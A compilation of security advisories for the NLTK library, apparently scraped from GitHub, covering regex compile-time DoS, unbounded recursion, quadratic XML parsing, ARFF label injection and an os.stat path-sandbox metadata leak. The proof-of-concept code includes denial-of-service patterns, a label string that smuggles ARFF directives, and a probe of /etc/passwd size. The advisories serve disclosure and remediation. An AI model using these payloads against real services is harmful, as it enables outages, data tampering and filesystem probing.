The vector was introduced at 3.10.0, the release that adopted the regex engine for the caller-supplied-pattern search path. Version 3.9.4 and earlier used the standard library re module for TokenSearcher.findall (verified: re.findall at that sink, linear compilation, no vector). From 3.10.0 through 3.10.2, TokenSearcher.findall calls regex.findall(pattern, corpus, timeout=...) directly, which reproduces the compile-time DoS (verified on the released 3.10.0 sdist). Version 3.10.3 additionally introduced nltk/redos.py and routed RegexpTokenizer through it, extending the vector to that sink; the released 3.10.3 module has no pre-compile guard or length cap at all, so it is the most exposed. 3.10.3 is the latest published release; no fixed release exists. The current development tree adds a pre-compile check that still does not bound group count, so it remains affected.

Suggested Fix

Enforce a bound on caller-supplied pattern complexity before compilation, not only during matching. Specifically, cap the number of regex groups (and, more generally, the count of compile-time-expensive constructs) in any caller-supplied pattern before it is handed to the regex engine, and reject patterns that exceed the bound with a clear error. Because compilation is synchronous and cannot be interrupted by the existing wall-clock match timeout, the guard must run before regex.compile / regex.findall. Apply the bound at the shared choke point so every caller-supplied-pattern entry point is covered (TokenSearcher.findall / Text.findall, RegexpTokenizer, and the other tokenizer, tagger, stemmer, and chunk-rule sinks). As an interim mitigation, applications that expose these APIs to untrusted input should validate or reject overly long or group-dense patterns and run NLTK regex operations in a resource-limited worker with a CPU-time cap.

Reported by zx (GitHub: @manus-pi).

Fix status (2026-09-28)

Status: IN PROGRESS (fix on an open pull request, not yet on develop).

PR: #3895 "[WIP] Bound algorithmic-DoS and uncontrolled-recursion vectors (CWE-400/407/674/1333)", open, head b22ebe144.

Fix commit: 002bcf714 (redos.checkpattern refuses a pattern with more than MAXGROUPCOUNT=1000 capturing groups before it reaches the regex compiler; every caller-supplied pattern in the library goes through redos.compile, enforced by the all-regex-through-redos pre-commit guard).

No probe. The advisory PoC re-run (RegexpTokenizer("()" 20000).tokenize("hello world")): on the PR head ValueError in under 0.01 s ("regex opens more than 1000 capturing groups; refusing to compile"); on develop 2fa3f48fe the pattern compiled and ran for 19.7 s with no refusal, so develop is still VULNERABLE.

Release: none.

1 / 2
Source: GitHub
First published (updated )
Severity
7.5
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Summary The recursive traversal engines behind WordNetCorpusReader's Synset.tree() and Synset.acyclictree() have no maximum call-depth safeguard and default to unlimited depth. They guard against literal cycles, but not against a long, genuinely acyclic relation chain — which exhausts the Python call stack the same way as the sibling DependencyGraph finding I reported separately. Real-world exploitability requires the host application to load a custom/foreign WordNet-format lexical resource rather than NLTK's bundled default corpus — flagging that narrower scope honestly up front since it affects severity, not validity.

Details nltk/util.py's acyclicdepthfirst() (~lines 471-541) and acyclicbranchesdepthfirst() (~lines 544-625) recurse once per graph edge, default to depth=-1 ("unlimited"), and guard against re-visiting the same node via an explicit traversed set (hence "acyclic") — but that set only prevents literal cycles, it never bounds how many distinct nodes a single call chain may pass through before returning.

Synset.tree(rel, depth=-1) (nltk/corpus/reader/wordnet.py, ~line 664) calls the recursive acyclicbranchesdepthfirst. There is also a third, easy-to-miss method: Synset.acyclictree(), a vestigial class-attribute alias for acyclicdepthfirst — also genuinely recursive and vulnerable.

Important correction to an earlier draft of this finding: Synset.closure(rel, depth=-1) (~line 609) does not share this bug — it actually calls acyclicbreadthfirst(), a completely different, iterative queue/deque-based function with no recursion at all. I verified this directly: feeding both acyclicbreadthfirst and the real Synset.closure() a 20,000-node genuinely-acyclic chain produces zero crash, while acyclicdepthfirst/acyclicbranchesdepthfirst/Synset.tree()/Synset.acyclictree() crash reliably at ~1000-1500 nodes on the identical data. Only .tree() and .acyclictree() are affected — not .closure().

This is the same CWE-674 pattern already hardened elsewhere in the codebase (MAXTREEDEPTH in tree/tree.py, MAXDEPTH in featstruct.py, MAXPARSEDEPTH in logic.py, MAXTABLEAUDEPTH in tableau.py, MAXDECODEDEPTH in jsontags.py, added by a commit whose message explicitly enumerates the sinks it covers) — but that hardening pass never reached nltk/util.py or wordnet.py.

Honest scope-limiting fact: I exhaustively measured the maximum possible traversal depth across the entire official, bundled WordNet 3.0 corpus (what the overwhelming majority of real deployments use) for every relation NLTK exposes to tree(): hypernyms/hyponyms max depth = 18 (across all 74,374 noun synsets); alsosees (a relation whose graph isn't curated to stay as shallow as the taxonomy) max eccentricity = 41, largest connected component = 824 nodes; similartos max eccentricity = 1; entailments/causes/verbgroups/memberholonyms/membermeronyms/attributes all ≤ 11. Every one of these is roughly 25-60x below the ~1000-node crash threshold — there is no word or relation an attacker could pick against the standard bundled corpus that reaches anywhere near a crash. nltk.app.wordnetapp, NLTK's own bundled reference consumer, only ever calls .tree() with the safe hypernym relation.

Real-world exploitability therefore strictly requires the host application to load a custom/foreign WordNet-format lexical resource — a legitimate, documented, WordNetCorpusReader-supported usage, but a comparatively uncommon one — and then call .tree()/.acyclictree() (not .closure()) with the default unbounded depth.

PoC Generated a syntactically valid, minimal, real Princeton-WordNet-DB-format lexical database (data.noun/index.noun/lexnames/etc., with correct byte-offset-indexed synset records) encoding a 1500-node strictly-linear (genuinely acyclic) hypernym chain. Loaded it via the real, unmodified WordNetCorpusReader(root, None), obtained a real Synset, and called the real, documented, public synset.tree(lambda s: s.hypernyms()) — crashed with an uncaught RecursionError: maximum recursion depth exceeded, as did synset.acyclictree(...). synset.closure(...) on the identical data returned cleanly (1499 nodes, no crash), confirming the closure()/tree() distinction above.

Impact An application that loads a custom WordNet-format lexical resource (e.g. a domain-specific or community-contributed WordNet, which WordNetCorpusReader is explicitly designed to support) and calls .tree()/.acyclictree() with an attacker-influenced or simply not-officially-curated relation/resource can be crashed via an unhandled RecursionError from a single long-but-acyclic relation chain. Narrower reach than a bundled-default-corpus bug, but a real, working, unpatched gap in the same CWE-674 family the project actively hardens elsewhere.

Suggested fix: apply the same MAXTREEDEPTH-style depth guard to acyclicdepthfirst()/acyclicbranchesdepthfirst() (or reuse the existing Tree constant/pattern directly).

Fix status (2026-09-28)

Status: MERGED on develop (unreleased; v3.10.3 of 2026-08-12 predates the fix).

Fix commit: 0e474a7d7 "Merge commit from fork" (2026-08-26, merged on develop from this advisory's temporary private fork): nltk/util.py gains MAXRECURSIONDEPTH=500 for the acyclic traversal helpers behind Synset.tree() and acyclictree(), with nltk/test/unit/testwordnetrecursion.py and the probe.

Probe: nltk/test/unit/securityprobes/ghsa8846p9w95frf.py; verdict on develop 2fa3f48fe: FIXED (depth cap prevents recursion overflow).

Release: none yet; no release tag contains 0e474a7d7.

1 / 2
Source: GitHub
First published (updated )
Severity
5.3
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

Root Cause The Toolbox settings-tree helpers recurse over the parsed element tree without any depth bound. tosettingsstring (nltk/toolbox.py:418), removeblanks (nltk/toolbox.py:432), adddefaultfields (nltk/toolbox.py:451), sortfields (nltk/toolbox.py:484), and addblanklines (nltk/toolbox.py:502,516) each recurse once per element level with no depth counter or explicit stack. The producer ToolboxSettings.parse builds the element tree iteratively, so nesting depth is driven entirely by attacker-supplied \+marker / \-marker pairs.

Impact An application that parses an untrusted Toolbox settings file and then serialises or transforms it through any of the public helper functions aborts with an unhandled RecursionError, terminating the affected operation or request worker (denial of service, CWE-674). The recursion is pure Python, yielding a catchable RecursionError rather than memory corruption or code execution. Confidentiality and integrity are unaffected.

Attack Chain 1. The application parses an untrusted settings file via ToolboxSettings.openstring / open plus parse, producing an N-deep element tree; parsing is iterative and completes without error. 2. The application passes the tree to a public helper — tosettingsstring, removeblanks, adddefaultfields, sortfields, or addblanklines — as in the module's own parse-then-serialise round trip. 3. The helper recurses once per element level with no depth guard, consuming call-stack frames. This holds even when the helper's configuration dictionaries are empty. 4. Once the nesting depth exceeds the interpreter recursion limit, an unhandled RecursionError propagates out of the public API.

Bypass Evidence Against the shipped source at the default recursion limit, a settings input nested 5 levels deep traverses cleanly through every helper, while a well-formed input nested 5000 levels deep drives each of the five helpers to an unhandled RecursionError; the iterative parse builds the 4999-deep tree without error, isolating the fault to the recursive helpers. The config-taking helpers (adddefaultfields, sortfields, addblanklines) recurse to failure even with empty configuration dictionaries. A repository-wide search confirms no depth guard exists anywhere in this module.

Suggested Fix Cap nesting depth at the shared producer ToolboxSettings.parse (the choke point that builds the tree), or convert the five helpers to iterative traversals / add a shared recursion-depth bound, so all consumers are protected by one fix.

Reported by pi (GitHub: @manus-pi).

Fix status (2026-09-28)

Status: MERGED on develop (unreleased; v3.10.3 of 2026-08-12 predates the fix).

PR: #3885 "Bound recursion depth in parsers and traversal helpers" (ekaf), merged 2026-09-11, merge commit e521ecafc on develop.

Fix commit: 0b6975377 (nltk/toolbox.py: the settings helpers stop at MAXTOOLBOXDEPTH=500 with ValueError).

Probe: nltk/test/unit/securityprobes/ghsaf2h2f4fcp978.py (added in 2a6704952 on that PR); verdict on develop 2fa3f48fe: FIXED (bounded during parse (ValueError)).

Release: none yet; no release tag contains e521ecafc.

1 / 2
Source: GitHub
First published (updated )
Severity
7.5
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Summary

NLTK exposes a compile-time regular-expression denial of service in its regex-search helpers. When an application passes untrusted text as the search pattern to TokenSearcher.findall() / Text.findall(), or as the tokenizer pattern to RegexpTokenizer, the pattern is handed to the third-party regex engine, whose compilation cost is roughly quadratic in the number of capturing groups. A short pattern of the form () repeated many times (for example "()" 25000, about 50 KB) forces tens of seconds of synchronous CPU work before any match begins. The wall-clock timeout that NLTK added to guard matching does not apply during compilation, so a single small request pins a CPU core, and repeated or concurrent requests exhaust all cores and deny service.

Root Cause

The remediation for the earlier match-time backtracking issue (advisory GHSA-rrv8-h7p8-rx55 / CVE-2026-80205) switched the caller-supplied-pattern search path from the standard library re module to the third-party regex engine and wrapped matching in a wall-clock timeout. That timeout is a match-time limit only: it is applied while the compiled pattern scans the corpus. Compilation of the pattern happens first and synchronously, outside any timeout. The regex engine's compiler is approximately O(n^2) in the number of regex groups, so a caller-controlled pattern consisting of many empty groups makes compilation, not matching, the expensive step. No control bounds the group count of a caller-supplied pattern before compilation.

text Affected components / functions: - nltk.text.TokenSearcher.findall (nltk/text.py) -> regex.findall(pattern, corpus, timeout=...) On released 3.10.0-3.10.2 this sink calls regex.findall directly; on 3.10.3 and later it routes through nltk.redos.compile. Either way the regex engine compiles the caller pattern with no group-count bound, and the timeout guards only matching. - nltk.redos.compile (nltk/redos.py, introduced in 3.10.3) -> regex.compile(src, flags) Called synchronously before the timeout-bearing wrapper exists. On released 3.10.3 there is no pre-compile guard at all; on the current development tree a checkpattern bounds source length, nesting depth, and counted-repeat product, but not the number of groups.

Impact

An unauthenticated attacker who can influence a regular-expression string that reaches one of these NLTK search or tokenizer entry points can force amplified CPU consumption. A single request carrying an approximately 50 KB pattern of empty groups blocks a worker for tens of seconds; because cost grows quadratically with group count, a larger pattern (unbounded on the released 3.10.3 artifact, which imposes no length cap) or a modest number of concurrent requests exhausts every available core and denies service to legitimate users. There is no confidentiality or integrity impact, and service recovers once compilation finishes or the worker is terminated. This is the same class of unauthenticated denial of service as the prior match-time ReDoS, but reached through the compilation path that the prior fix does not cover.

Proof of Concept

Requires the nltk package (3.10.0 through 3.10.3) and its declared regex dependency. No corpus data or network access is needed.

1. Build a pattern of many empty capturing groups. 2. Pass it to any caller-supplied-pattern sink; measure the time spent before matching. 3. Observe that the match timeout does not fire, because the cost is in compilation.

python import time, regex

Exact released 3.10.0-3.10.2 code path of TokenSearcher.findall: regex.findall(pattern, corpus, timeout=<wall-clock match limit>) pattern = "()" 25000 # ~50 KB, 25000 capturing groups; survives the "<>." rewrites start = time.perfcounter() try: regex.findall(pattern, "<hello><world><foo>", timeout=1.0) print(f"completed in {time.perfcounter()-start:.2f}s with NO TimeoutError") except TimeoutError: print(f"TimeoutError after {time.perfcounter()-start:.2f}s")

Negative control: same length, zero groups, compiles in well under a second. start = time.perfcounter() regex.findall("a" 50000, "<hello>", timeout=1.0) print(f"control (0 groups) completed in {time.perfcounter()-start:.2f}s")

text completed in 4.24s with NO TimeoutError control (0 groups) completed in 0.16s

Additional measurements on the same host: regex.compile("()" n) scaled 0.35s / 1.17s / 2.61s / 4.77s for n = 5000 / 10000 / 15000 / 20000 (clean quadratic); the standard library re.compile("()" 20000) took 0.14s, confirming the cost is specific to the adopted regex engine and to group count, not to source length. Through the tokenizer sink, RegexpTokenizer("()" 20000).tokenize("hello world") blocked about 5.1s entirely in compilation with no TimeoutError.

Attack Chain

1. Exposure: An application exposes NLTK regex search or tokenization to user input, for example a search feature built on Text.findall() / TokenSearcher.findall(), or a RegexpTokenizer whose pattern is user-controlled. 2. Control: The attacker supplies the pattern string () repeated n times. It contains no whitespace, <, >, or ., so it survives the four preprocessing rewrites in TokenSearcher.findall (nltk/text.py) unchanged, and it is passed verbatim to a RegexpTokenizer. 3. Path: The pattern reaches the compilation sink: regex.findall(pattern, corpus, timeout=...) on released 3.10.0 through 3.10.2, or nltk.redos.compile to regex.compile on 3.10.3 and the tokenizer path. 4. Guard: The wall-clock timeout is applied only to matching, after compilation returns; it never observes compile-time cost. On released 3.10.3 there is no pre-compile guard; on the development tree the pre-compile check bounds length, nesting depth, and counted-repeat product, but not group count. 5. Primitive: Synchronous, uninterruptible regex compilation whose cost is roughly quadratic in the caller-controlled group count. 6. Result: One small request consumes tens of seconds of CPU on a core; repeated or concurrent requests exhaust all cores and deny service.

Bypass Evidence

This finding concerns an incomplete prior fix. The canonical prior advisory is GHSA-rrv8-h7p8-rx55 / CVE-2026-80205, whose scope is match-time catastrophic backtracking in Text.findall(); its remediation routes patterns through the regex engine and adds a wall-clock match timeout. The new evidence is that this remediation does not cover pattern compilation: the timeout is constructed and applied only for matching, while compilation runs first and synchronously.

Disproof attempts and their outcomes: - Timeout intervention: regex.findall("()" 20000, corpus, timeout=1.0) ran about 4.3s with no TimeoutError, and RegexpTokenizer("()" 20000).tokenize(...) blocked about 5.1s with no TimeoutError. The match timeout provably does not fire during compilation. - Pre-compile guard (development tree): on () input the group/class nesting counter oscillates between 0 and 1 and never approaches the depth limit; the per-group cost accumulator stays at zero; only the source-length limit is relevant and still permits roughly 50000 groups. The guard accepts "()" 49000. It does not count the number of groups. - Compile cache: the internal cached-compile helper only serves short sources (at most a couple thousand characters) and the affected sinks compile directly; distinct values of n produce fresh, uncached compilations every time. - Duplicate check: the prior advisory and other NLTK ReDoS advisories are all match-time backtracking or parser recursion in different sinks; none addresses a compile-time blow-up in the regex-engine compile path. Not comprehensively blocked, therefore not a duplicate. - Negative controls: a same-length zero-group pattern and the standard library re compiler are both cheap, isolating the cost to group count in the adopted regex engine.

Affected Versions

- Ecosystem: pip (PyPI) - Package: nltk - Confirmed affected range: >= 3.10.0, <= 3.10.3 - Latest release checked: 3.10.3 (PyPI, latest published) - Fix status: not fixed

The vector was introduced at 3.10.0, the release that adopted the regex engine for the caller-supplied-pattern search path. Version 3.9.4 and earlier used the standard library re module for TokenSearcher.findall (verified: re.findall at that sink, linear compilation, no vector). From 3.10.0 through 3.10.2, TokenSearcher.findall calls regex.findall(pattern, corpus, timeout=...) directly, which reproduces the compile-time DoS (verified on the released 3.10.0 sdist). Version 3.10.3 additionally introduced nltk/redos.py and routed RegexpTokenizer through it, extending the vector to that sink; the released 3.10.3 module has no pre-compile guard or length cap at all, so it is the most exposed. 3.10.3 is the latest published release; no fixed release exists. The current development tree adds a pre-compile check that still does not bound group count, so it remains affected.

Suggested Fix

Enforce a bound on caller-supplied pattern complexity before compilation, not only during matching. Specifically, cap the number of regex groups (and, more generally, the count of compile-time-expensive constructs) in any caller-supplied pattern before it is handed to the regex engine, and reject patterns that exceed the bound with a clear error. Because compilation is synchronous and cannot be interrupted by the existing wall-clock match timeout, the guard must run before regex.compile / regex.findall. Apply the bound at the shared choke point so every caller-supplied-pattern entry point is covered (TokenSearcher.findall / Text.findall, RegexpTokenizer, and the other tokenizer, tagger, stemmer, and chunk-rule sinks). As an interim mitigation, applications that expose these APIs to untrusted input should validate or reject overly long or group-dense patterns and run NLTK regex operations in a resource-limited worker with a CPU-time cap.

Reported by zx (GitHub: @manus-pi).

Fix status (2026-09-28)

Status: IN PROGRESS (fix on an open pull request, not yet on develop).

PR: #3895 "[WIP] Bound algorithmic-DoS and uncontrolled-recursion vectors (CWE-400/407/674/1333)", open, head b22ebe144.

Fix commit: 002bcf714 (redos.checkpattern refuses a pattern with more than MAXGROUPCOUNT=1000 capturing groups before it reaches the regex compiler; every caller-supplied pattern in the library goes through redos.compile, enforced by the all-regex-through-redos pre-commit guard).

No probe. The advisory PoC re-run (RegexpTokenizer("()" 20000).tokenize("hello world")): on the PR head ValueError in under 0.01 s ("regex opens more than 1000 capturing groups; refusing to compile"); on develop 2fa3f48fe the pattern compiled and ran for 19.7 s with no refusal, so develop is still VULNERABLE.

Release: none.

1 / 2
Source: GitHub
First published (updated )
Severity
5.3
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

Summary

NLTK's XMLCorpusView.readblock rebuilds the full root-to-node context path with "/".join(context) on every start tag while it is still searching for a matching element. Because the context stack grows with XML nesting depth and the join is repeated once per start tag, a single corpus file containing deeply nested tags forces O(n^2) pure-Python work, where n is the number of nested elements. Any application that parses attacker-influenced XML corpus data through an XMLCorpusView subclass (for example the npschat, framenet, bnc, mte, nkjp, or semcor readers) can be driven to exhaust a CPU core for an extended period, producing a denial of service without any authentication or special privilege.

Root Cause

readblock maintains a context list that is appended on each start tag and popped on each end tag, so it grows monotonically to the maximum nesting depth while an element is being sought. For every start tag, while no target element has been located yet (eltstart is None), the code recomputes the entire path string from scratch and matches it against the reader's tagspec. The tagspec is anchored (tagspec + "\\Z"), so a nested path such as a/a/a/... never completes a full match against a concrete tagspec like Session/Posts/Post; eltstart therefore stays None for the entire file and the per-start-tag join runs for all n tags over depths 1..n. Summing those join costs yields O(n^2). There is no nesting-depth limit, context-length bound, or cumulative-work budget in readblock, and the per-call regex timeout used elsewhere in the file does not observe this cumulative pure-Python string cost.

text nltk/corpus/reader/xmldocs.py : XMLCorpusView.readblock context.append(name) # start-tag: stack grows with depth if eltstart is None: if tagspec.match("/".join(context)): # full path rebuilt per start tag -> O(depth) ... # empty-element variant rebuilds "/".join(context) + "/" + name the same way

Impact

An unauthenticated attacker who can supply or influence an XML corpus file processed by an XMLCorpusView subclass can cause quadratic CPU consumption. A crafted file of roughly 200 KB consumes several seconds of a single core; a few-megabyte file pins a core for minutes, and an arbitrarily large or unclosed nested file can hang the affected process indefinitely on that core. The result is a denial-of-service condition (CWE-407 / CWE-400). No confidentiality or integrity impact is demonstrated; the impact is availability of the processing thread or process. The prerequisite is that the application feed untrusted or attacker-influenced corpus XML into one of the affected readers, which is the same trust boundary already accepted for the seed issue in the same file.

Proof of Concept

Requires only the nltk package and its standard XML corpus reading path; no network or special configuration.

Reproduction drives a real SeekableUnicodeStreamReader and the real readblock with an npschat-style tagspec, comparing nested input (growing context depth) against a flat negative control with an identical tag count.

python import time, io from nltk.corpus.reader.xmldocs import XMLCorpusView

def measure(build, label): print(label) prev = None for n in (4000, 8000, 16000, 32000): body = build(n).encode("utf-8") # write to a temp file and open through an XMLCorpusView subclass tagspec import tempfile, os fd, path = tempfile.mkstemp(suffix=".xml") os.write(fd, b"<Session>" + body + b"</Session>"); os.close(fd) view = XMLCorpusView(path, "Session/Posts/Post") t = time.time() try: list(view) except Exception: pass dt = time.time() - t ratio = "" if prev is None else f"({dt/prev:.1f}x)" print(f" n={n:>6} time={dt:7.3f}s {ratio}") prev = dt os.remove(path)

measure(lambda n: "<a>"n + "</a>"n, "NESTED (context depth = n):") measure(lambda n: "<a></a>"n, "FLAT (context depth = 1, negative control):")

text NESTED (context depth = n): n= 4000 time= 0.162s n= 8000 time= 0.484s (2.99x) n= 16000 time= 1.595s (3.29x) n= 32000 time= 5.667s (3.6x) -> ratios trend toward 4x per 2x input = O(n^2) FLAT (context depth = 1, negative control): n= 8000 time= 0.145s n= 16000 time= 0.293s (2.03x) n= 32000 time= 0.580s (2.0x) -> 2x per 2x input = linear

Attack Chain

1. Exposure: An application uses an XMLCorpusView subclass (npschat, framenet, bnc, mte, nkjp, semcor, and similar) to read an XML corpus file whose contents an attacker can supply or influence. 2. Control: The attacker controls the XML body and nests a tag the view's tagspec never fully matches, for example "<a>" repeated n times followed by "</a>" repeated n times. 3. Path: readblock consumes the whole file in one call, appending to context on every start tag; the target element is never found, so the loop runs to end of file and context grows to depth n. 4. Guard: No nesting-depth cap, context-length bound, or cumulative-work budget exists in readblock; the anchored tagspec match fails in O(1) at offset 0, so it is not the hot term, and the per-call regex timeout does not see cumulative string-build cost. 5. Primitive: For each of the n start tags, "/".join(context) rebuilds an O(depth) string, giving a cumulative O(n^2) pure-Python CPU cost. 6. Result: Sustained single-core CPU exhaustion; a modest file blocks a core for seconds to minutes, and an unbounded or unclosed file hangs the processing thread indefinitely.

Bypass Evidence

The seed fix for the previously published quadratic-CPU issue in this same file (CVE-2026-81723, GHSA-vp2x-qp44-57v7) is confined to readxmlfragment, where it added incremental in-tag / last-open-bracket tracking. The commit that shipped that fix touched the readblock match line only to change the match call form (from a module-level regex match to a precompiled tagspec match) and preserved the "/".join(context) argument byte-for-byte; it did not add any depth or length bound. This sink is therefore not covered by the seed remediation. It is also distinct from the sibling published issue CVE-2026-81725 (GHSA-8mpw-7fpc-4gqj), whose sink is a block.count(...) line tracker in Pl196xCorpusReader.readblock, a different class, mechanism, input, and fix. The strongest disproof attempts, that the anchored tagspec match is the quadratic term, that the file is not fully consumed in one call, that an end-tag sanity check aborts early, that a depth cap or the per-call regex timeout catches it, that the seed fix already covers it, and that deep nesting is entity expansion blocked by defused XML handling, were each checked and refuted: the flat negative control with identical tag count stays linear, isolating the quadratic term to the depth-dependent join; well-formed balanced input runs to end of file before any pop; no depth cap exists; the timeout is per call and does not observe cumulative pure-Python cost; and benign literal nesting is not custom-entity expansion.

Affected Versions

- Ecosystem: PyPI (pip) - Package: nltk - Confirmed affected range: <= 3.10.3 - Latest release checked: 3.10.3 (PyPI, nltk-3.10.3-py3-none-any.whl) - Fix status: not fixed (no fix present in any released version or in the current development branch)

The vulnerable join sink is present in the latest published artifact (3.10.3) and was corroborated in 3.9.1. No released version and no development-branch commit contains a fix, so the upper bound <= 3.10.3 is proven. The introduction boundary was not pinned to an exact first-affected release: the algorithm is long-standing legacy code present in all inspected supported releases, and pinning an exact introduced version would require bisecting historical wheels. The lower boundary is therefore left unestablished rather than asserted.

Suggested Fix

Bound the work performed while searching for a target element in readblock. Options that address the root cause: track the running context path incrementally (append and truncate a single cached path string alongside the context stack, rather than rejoining the whole list on every tag), or enforce an explicit maximum nesting depth / maximum accumulated tag count for a single block and raise a clear error when it is exceeded. The remediation must cover both the start-tag match at the primary join site and the empty-element variant that rebuilds "/".join(context) + "/" + name, and it should apply regardless of whether the input is well-formed and balanced or an unclosed nested run. As an interim mitigation, deployments can impose an upstream size limit on corpus XML fed to these readers and avoid parsing untrusted corpus files, though this does not remove the quadratic behavior for inputs under the limit.

Reported by zx (GitHub: @manus-pi).

Fix status (2026-09-28)

Status: IN PROGRESS (fix on an open pull request, not yet on develop).

PR: #3895 "[WIP] Bound algorithmic-DoS and uncontrolled-recursion vectors (CWE-400/407/674/1333)", open, head b22ebe144.

Fix commit: 002bcf714 "Bound three quadratic algorithmic-DoS vectors on untrusted input" (XMLCorpusView.readblock no longer rebuilds the context path per piece).

No probe. The advisory PoC re-run (nested tags, n=8000 vs n=32000 through readblock): on the PR head 0.7x over a 4x input (linear); on develop 2fa3f48fe 11.3x (3.08 s vs 34.9 s), so develop is still VULNERABLE. The open PR #3753 measured on its head 238f81500 also gives 10.9x: its xmldocs change targets the unclosed CDATA/comment rescan of GHSA-j8g8, not this vector.

Release: none.

1 / 2
Source: GitHub
First published (updated )
Severity
5.4
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L

Description

Summary

nltk.classify.weka.ARFFFormatter writes class labels directly into the Weka ARFF @ATTRIBUTE '-label-' {...} declaration without any ARFF quoting or escaping. An attacker who can contribute class labels to a training dataset can include ARFF metacharacters such as }, newlines, @ATTRIBUTE, and @DATA to break out of the nominal label list and inject attacker‑controlled ARFF schema and data directives.

This vulnerability is reachable in any application that calls WekaClassifier.train() or ARFFFormatter.fromtrain() with attacker‑influenced training data. The victim does not need to manually edit the ARFF file; the normal training workflow writes the malformed ARFF automatically.

Technical Details

The vulnerable code path is:

1. WekaClassifier.train() calls ARFFFormatter.fromtrain(featuresets). 2. fromtrain() extracts labels from the training data and passes them to ARFFFormatter(labels, features). 3. headersection() uses ",".join(self.labels) directly, embedding attacker‑controlled strings into the ARFF header without sanitization.

Because the label names are not escaped, a label containing safe}\n@ATTRIBUTE injected NUMERIC\n@DATA\n0,owned\n% will close the label set, inject a new attribute, start a premature data section, and comment out the remaining header.

Proof of Concept

The following self‑contained Python script demonstrates the vulnerability. It requires only NLTK and does not need Weka to be installed, because the attack is carried out purely by generating the ARFF string.

python from nltk.classify.weka import ARFFFormatter

Attacker‑controlled label containing ARFF metacharacters. The } closes the label set, the @ATTRIBUTE injects a new attribute, @DATA starts the data section early, and % comments out the rest. maliciouslabel = "safe}\n@ATTRIBUTE injected NUMERIC\n@DATA\n0,owned\n%"

featuresets = [ ({"f": "benign"}, "legit"), # legitimate example ({"f": "payload"}, maliciouslabel), # attacker's example ]

NLTK builds the formatter from the training data formatter = ARFFFormatter.fromtrain(featuresets)

Generate the ARFF string – this is what would be written to the training file arff = formatter.format(featuresets)

Verify that the injection succeeded assert "@ATTRIBUTE injected NUMERIC" in arff, "Injected attribute not found" assert "@DATA\n0,owned" in arff, "Injected data row not found"

print("=== Injected ARFF (excerpt) ===") for line in arff.splitlines()[5:12]: print(line)

Expected output:

=== Injected ARFF (excerpt) === @ATTRIBUTE 'f' STRING @ATTRIBUTE '-label-' {legit,safe} @ATTRIBUTE injected NUMERIC @DATA 0,owned %

Explanation of the injection:

· The label safe} closes the nominal label set {legit,safe} prematurely. · The following lines (@ATTRIBUTE injected NUMERIC, @DATA, 0,owned) are then parsed as legitimate ARFF directives, not as part of the label name. · The % at the end comments out the remaining header lines that NLTK would have appended, preventing syntax errors.

References

· CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component · Huntr report https://huntr.com/bounties/bc7085e7-1caf-40c7-b406-a5099ce44072 · Weka ARFF format documentation

Fix status (2026-09-28)

Status: MERGED on develop (unreleased; v3.10.3 of 2026-08-12 predates the fix).

PR: #3768 "Fix ARFF label injection in Weka classifier" (ekaf), merged 2026-08-24, merge commit e0a857f52 on develop. Fix commit: 56031eabc. Defence in depth: 0e1d6bf87 (PR #3863, ARFF values formatted from their type rather than caller str/repr).

Probe: nltk/test/unit/securityprobes/ghsa9ffxrrgxmhgx.py (added on #3768); verdict on develop 2fa3f48fe: FIXED (ARFF labels, values, and attribute names sanitized).

Release: none yet; no release tag contains 56031eabc.

1 / 2
Source: GitHub
First published (updated )
Severity
5.3
Infoleak
AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Summary

StreamBackedCorpusView, a public API in nltk/corpus/reader/util.py, applies the pathsec sandbox to the file content it reads but not to the file metadata it probes in its constructor. When the view is created with a plain string fileid, init calls os.stat(self.fileid).stsize with no pathsec validation, so an application that passes an attacker influenced path to the constructor discloses whether an arbitrary out of root file exists and, if it does, its exact byte size and modification time, even when nltk.pathsec.ENFORCE is True. This is the residual metadata channel left open by the fix for CVE-2026-63312 (GHSA-x5ph-mj9p-rfr8), which closed arbitrary content read on the same code path but did not bring the sibling os.stat under the sandbox.

Root Cause

The pathsec sandbox is intended to confine all NLTK filesystem access to allowed data roots. The fix for CVE-2026-63312 enforced this for content reads by routing StreamBackedCorpusView.open through nltk.pathsec.open (secureopen). The constructor, however, computes the end of file position eagerly, and on the non PathPointer branch it stats the caller supplied path directly. The PathPointer branch is validated (it calls PathPointer.filesize()), but the plain string branch reaches os.stat with no validatepath, secureopen, or requiredroot check. The security invariant "no filesystem access outside allowed roots under ENFORCE" is therefore violated for the metadata channel: os.stat is filesystem access, and it is performed on the same untrusted string entry point that the content read fix protected.

text Affected component: nltk.corpus.reader.util.StreamBackedCorpusView.init Sink: nltk/corpus/reader/util.py, os.stat(self.fileid).stsize on the plain-string branch Guarded sibling: open() (routes through nltk.pathsec.open); the constructor os.stat is not guarded

Impact

An attacker who can influence the fileid string passed to StreamBackedCorpusView(...) (the same attacker model under which CVE-2026-63312 was published for content read) obtains a filesystem oracle that operates across the process visible filesystem regardless of the pathsec data roots and with ENFORCE=True:

- Existence: a present path returns a size; a missing path raises ValueError whose message embeds the underlying OS error, so ENOENT, EACCES, and ENOTDIR are distinguishable, adding a permission and type probe. - Exact size: stsize of the target file is exposed (demonstrated below: 1850 for /etc/passwd, matching the real size). - Modification time: stmtime is available from the same stat result.

File content is not disclosed: iterating the view still routes through the sandboxed open and is refused. The demonstrated capability is therefore metadata only (existence, exact size, mtime, and error class discrimination). Reachability is application conditional: in tree corpus readers construct views from validated PathPointer objects and take the guarded branch, so exploitation requires application code that hands an attacker influenced string directly to the public constructor, which is the same condition accepted for the original content read advisory.

Proof of Concept

Requires nltk 3.10.0 through 3.10.3 installed (the pathsec-hardened line). No non-default configuration; pathsec ENFORCE defaults to True. Reproduced against the published PyPI sdist nltk==3.10.3.

1. Construct the public corpus view with an out of root path string. 2. Read the eagerly computed eofpos (the leaked size) without iterating the view. 3. Observe that iterating the view (which would read content) is blocked by the sandbox.

python import os import nltk.pathsec as ps from nltk.corpus.reader.util import StreamBackedCorpusView as V

print("ENFORCE", ps.ENFORCE) # True (default)

v = V("/etc/passwd", lambda s: [s.read()]) print("size leaked", v.eofpos, "real", os.stat("/etc/passwd").stsize)

try: "".join(list(v)) # attempt content read except Exception as e: print("content blocked", type(e).name)

